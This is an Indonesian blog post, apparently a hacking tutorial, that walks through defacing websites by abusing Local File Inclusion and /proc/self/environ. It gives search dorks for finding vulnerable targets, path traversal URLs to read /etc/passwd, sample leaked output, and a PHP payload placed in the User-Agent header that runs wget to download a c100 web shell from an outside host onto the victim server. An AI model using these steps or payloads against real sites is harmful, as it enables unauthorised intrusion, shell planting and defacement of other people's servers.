Thursday, June 11, 2020
Yow halo exploiter kali ini saya akan membagikan cara deface Local File Inclusion ( LFI ) upload shell dengan metode Proc/Self/Environ. ok tanpa basa basi langsung saja kita mulai :b.
sebelumnya kalian harus memiliki target yang vulnerable terhadap serangan LFI
Dork :
inurl:".php?id=contact.php"
inurl:index.php?id=contact.php ( selanjutnya akalin sendiri :b )
Contoh : http://target.com/page.php?id=service.php
Kemudian ganti service.php dengan ../../../ lalu jika kalian mendapat error seperti :
Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/service.php on line 99
selanjutanya kita coba temukan /etc/passwd.
contoh : http://target.com/page.php?id=etc/passwd
tetapi jika masih mendapatkan error kurang lebih sperti ini :
Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/service.php on line 99
kita harus menaikkan directory nya, bagaimana ? dengan menambahkan ../ sampai errornya hilang. contoh : http://target.com/page.php?id=.../../../../../etc/passwd
dan jika berhasil maka akan mendapatkan file /etc/passwd seperti berikut.
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin
mari kita cek apakah proc/self/environ bisa di akses atau tidak dengan mengganti etc/passwd menjadi proc/self/environ
contoh : http://target.com/page.php?id=.../../../../../proc/self/environ
dan jika vuln maka kita akan mendapatkan seperti ini
DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80
ok ternyata proc/self/environ bisa di akses, jika anda mendapatkan blank ( halaman putih ) berarti tidak bisa di akses.
selanjutnya mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi "http://site.com/info.php?file=../../../../../../../../../proc/self/environ"
lalu pada user-agent isikan dengan kode berikut :
<?system('wget http://r57.gen.tr/c100.txt -O linuxploit.php');?>
atau
<?exec('wget http://r57.gen.tr/c100.txt -O linuxploit.php');?>
lalu submit.
jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.
http://target.com/linuxploit.php
Referensi : https://www.ilmuwebsite.com/